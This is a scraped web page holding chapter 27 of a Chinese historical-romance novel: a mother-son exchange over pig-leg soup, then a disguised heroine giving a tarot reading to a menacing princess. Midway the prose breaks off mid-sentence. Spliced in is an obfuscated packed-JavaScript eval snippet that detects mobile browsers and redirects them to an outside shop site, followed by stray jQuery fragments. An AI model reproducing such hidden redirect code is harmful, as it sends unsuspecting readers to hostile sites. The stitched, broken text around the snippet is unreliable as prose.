默认冷灰
24号文字
方正启体

27. 027

作者:鱼心所善本书字数:K更新时间:
    最后一抹夕阳落下,天空渐渐染上了深蓝色。


    沈京墨走进屋,将一只硕大的猪前腿,扔到温宪郡主面前。


    生肉的腥味并不好闻,温宪郡主用帕子捂住口鼻,眼神好奇:“这是什么?”


    “儿子孝敬您的。”母慈子孝本是一桩美事,奈何沈京墨臭着一张死人脸,活像人家欠他钱似的。


    温宪郡主更觉稀奇:“哪来的?”


    沈京墨抽了抽唇角。要不是温女萝和秦雅颂偷偷将东西抬进马车,他这辈子都不可能提着大猪蹄子走进英国公府。官场等级森严,下级孝敬上级实属寻常,可这叫什么事啊。


    想起临走前温女萝拉着他的手,语重心长地叫他保重身体,沈京墨忽然有一种命不久矣的错觉。


    “我想喝汤。”他答非所问。


    温宪郡主也不在意,直接扭头吩咐下去:“把肉剔掉,抽出筒子骨来,不要剔太干净,留一点瘦肉在上头,也不必砍断,就着整根熬煮。生姜要切大块,拿纱布包了再下锅……”说着,她得意地看向儿子,“我知道你不爱吃姜,但生姜去腥,只要混上蜂蜜和柠檬,便尝不出味儿来。哼哼,臭小子肯定不知道,你娘靠着这一手,哄了你十几年。”


    屋内灯火暖暖,沈京墨红了脸,语气依然硬梆梆:“是不是天下的母亲都这样?”


    温宪郡主闻言一笑:“傻孩子。”


    刚成亲那会儿,兴隆帝十分倚重胞姐——慈仪大长公主手握重权。温宪郡主仗着有母亲撑腰,几乎要在沈绍钦头上做窝。沈绍钦年轻气盛,最开始还让着她,没过多久便与她针尖对麦芒。夫妻俩闹得不可开交,直到沈京墨出生,他们的关系非但不见好转,反而愈演愈烈。沈绍钦叫嚣着要纳妾,温宪郡主跪求圣上和离,这样的情形之下,谁都不适合照顾沈京墨。


    是以,沈京墨从小由沈老太爷抚养。


    等到接回温宪郡主身边,儿子已经九岁,有了自己的喜好,有了自己的脾气。为了照顾好他,郡主着实花费不少心血。


    沈京墨攥紧了拳头,声音终于柔和许多:“娘,谢谢你。”


    温宪郡主眼前一亮:“你若真想谢我,就娶个媳妇回来,娘等着抱孙子——”


    “母亲。”沈京墨飞快打断她,颇有点无奈,“今日不说这些,行吗?”


    温宪郡主难得遇上他软和的时候,如何肯罢休:“行,我不说。我只问你,德安公主那边怎么打发?老太太那边又该怎么交待?”


    “我心中有数,不用母亲操心。”沈京墨郑重承诺。


    温宪郡主还以为好事将近,顿时心花怒放:“既白,你同娘说说,猪腿肉是谁送给你的?”


    沈京墨冷声吐出两个字:“秦煦。”


    煦者,朝阳也。温宪郡主暗自点头,好名字,改明儿打听打听是谁家姑娘。


    与此同时,身处京兆府的秦煦打了个喷嚏。


    他在院子里灌香肠,一边干着活,一边叨叨亲妹:“还没到过年就杀了两头猪,咱们家的猪啊,没有一头长到两百斤,全被你给嚯嚯了。”


    秦雅颂似乎早已习惯,压根没当回事:“哥,你看人家沈大人,在非非堂呼风唤雨。你比他官高一阶,怎么反倒不如他。京兆府那么多衙役,找他们来灌呗。”


    秦煦瞪她一眼:“你当人情不用还。那么多人,一头猪压根不够分,难不成为了这个再杀一头。”


    秦雅颂犹如醍醐灌顶:“对呀,我再去杀一头,明儿给大伙儿送香肠。哥,你快些弄。”


    秦煦简直欲哭无泪。早知道要送香肠,下午何必偷偷摸摸,还赔进去一只大猪蹄。


    第二天一早,沈京墨看见书案上的香肠时,脸都黑了。


    秦雅颂乐呵呵地介绍:“这是我哥亲手做的,味道非常好。沈大人若是喜欢,日后尽管开口。”


    良久,沈京墨略略颔首,艰难地道了声谢:“你自去土地祠待命,无事不用过来。”


    秦雅颂巴不得偷懒,闻言喜滋滋地出去,顺手把门给带上。


    门一关,温女萝的眼皮就跳了跳。


    沈京墨在案前坐下,后背往椅子上一靠,抬起眼看向她,只说了两个字:“过来。”


    温女萝搬张凳子过去,乖乖坐好:“大人有何吩咐?”


    沈京墨神情淡漠,仿佛在说一件再寻常不过的小事:“明日去一趟德安公主府,以岑娘子的身份。”


    前半句马马虎虎,后半句吓得温女萝小脸煞白,战战兢兢道:“大人说过,公主性情暴戾。让我去找她岂不是送我去死?”


    食指轻轻扣了两下桌面,沈京墨一本正经地开口:“你也说过,公主要下功夫也是在本官身上。何况你我之间毫无关联,公主不会疑心。”


    温女萝做梦都没想到,有朝一日竟会切身体会什么叫作“自掘坟墓”。她百口莫辩,只能拼命摇头:“我不去,我害怕。”


    “可以。”沈京墨说得云淡风轻。


    温女萝稍稍安心,却听他张口又道:“阿沅素来与公主交好,是她告诉我公主要见岑娘子。去不去是你的事,本官只是提醒你,拒绝公主的人不会有好下场。”


    女孩子的小脸皱成一团,双手抓住男人的衣袖不肯松开:“大人,我不想死。”


    沈京墨微微而笑:“放心,阿沅也在,她会帮你。”


    温女萝满眼感激,又开始老调重弹:“大人,你真是个好官。”


    似是为了安慰她,沈京墨说:“今日衙门无事,你可以走了。”


    于是,温女萝得以提早下班。她没有直接回温府,而是先去了一趟南瓜坊。


    青梅果然接到公主府的请帖。


    明日未正,过时不候。


    简简单单八个字,每一个字都昭示着德安公主不好惹。


    ·


    四月十七,未正时分。


    德安公主端坐上首,身姿笔挺,眉眼间自有一股与生俱来的贵气。她生得极美,肤如凝脂,面若芙蓉,全然不似性情暴戾之人。


    孟沅坐在公主下首,真的是镇定自若,只瞟了一眼温女萝,就扭头与公主玩笑:“借了表姐的东风,总算知道岑娘子是何模样。”


    公主跟前,温女萝断然不敢蒙着脸。幸亏猪皮面具已经做好,所以从孟沅的角度来看,岑娘子又换了一张脸。虽说上回也做了伪装,扮成宋安然吓唬崔琰,但四十岁的妇人与十四岁的少女相


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17505983|202027||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    去甚远。


    思及此,温女萝忍不住感叹,孟沅小小年纪,做戏的功夫已经炉火纯青,难怪沈大头会找上她。


    德安公主略抬了抬手,示意她坐下:“久闻岑娘子大名,只可惜,本宫从不曾求神问卜。找你过来就是想问一问,沈既白要你替他传什么话?”


    温女萝呆住!


    咋回事?如果德安公主所言属实,那她大概率想不起岑娘子这号人物,之所以会找上自己,根本就是沈大头的安排。


    她完完全全被耍。


    想起昨日对着沈京墨千恩万谢,恨不得把他当观音菩萨一样供起来,温女萝气得差点没晕过去。


    孟沅轻笑一声:“果然瞒不住表姐。这岑娘子当真有几分本事,每回听了她的话,总觉眼前迷雾尽散,看人看事也多了些许不同。”


    温女萝闻言回过神。沈大头已经暴露,当务之急是把自个儿择出来。


    “民妇一向深居简出,与沈大人并无私交。能得孟小姐引荐,靠的全是积攒下来的口碑。然而塔罗问卜必须依托牌面解读,被卜者会抽到什么样的牌全凭天意。民妇仅仅是向他们传达来自宇宙的讯息,帮助他们做出更好的选择。但公主不一样。比之其他女子,您拥有更多选择,哪怕选错也可以从头再来。”她抬起眼眸,目光直视德安公主,“所以公主的生意,民妇不接。”


    话音落定,德安公主终于肯正眼看人。那双漂亮的凤眸里,是掩不住的凌厉气息。她盯着温女萝,语气里带着不容置疑的威压:“本宫偏要做你的生意,倘若说的不准,当心自己的脑袋。”


    听了她的威胁,温女萝面不改色,站起身略整了整衣裙,举步走向上首,态度不卑不亢:“公主想问什么?”


    德安公主眸光微沉:“姻缘。”


    上首放置一张小叶紫檀嵌云石的长方桌,温女萝将塔罗牌在桌面上一字排开。


    “请公主抽三张牌。”她道。


    德安公主照做不误。


    温女萝逐一翻开来:“第一张节制牌的正位。第二张宝剑五的正位。第三张圣杯三的正位。整个牌面除了土元素都有出现,土元素寓意安稳,没有土元素自然不能天长地久,预示公主此生不止一段婚姻。”


    听到这里,德安公主发出一声嗤笑,眉眼间尽是不屑:“京中谁人不知,父皇正在为本宫挑选驸马。亏得阿沅盛赞于你,原来徒有虚名。”


    孟沅也笑:“表姐莫急,先听听她怎么说。


    指尖轻点一下节制牌,温女萝继续讲解:“节制牌是火元素。公主的第一段婚姻像火一样炽热,来得快去得也快。公主对崔驸马早已厌倦,所谓深情,不过是人前做戏。”


    德安公主神色微变,旋即哈哈大笑:“这长安城内,有多少夫妻是真正恩爱。崔琰何尝不是在与本宫虚与委蛇!”


    闻听此言,温女萝愈发确定心中所想,不由倒吸一口凉气:“宝剑五处于正位,代表公主为了赢得感情上的胜利,开始不择手段。民妇以为,崔驸马之死正是公主的手笔。”


    她的心扑通扑通直跳,拿不准德安公主会作出什么反应,如若就此丢了性命——


    沈大头,我做鬼都不会放过你!
(←快捷键) <<上一章 投推荐票 回目录 标记书签 下一章>> (快捷键→)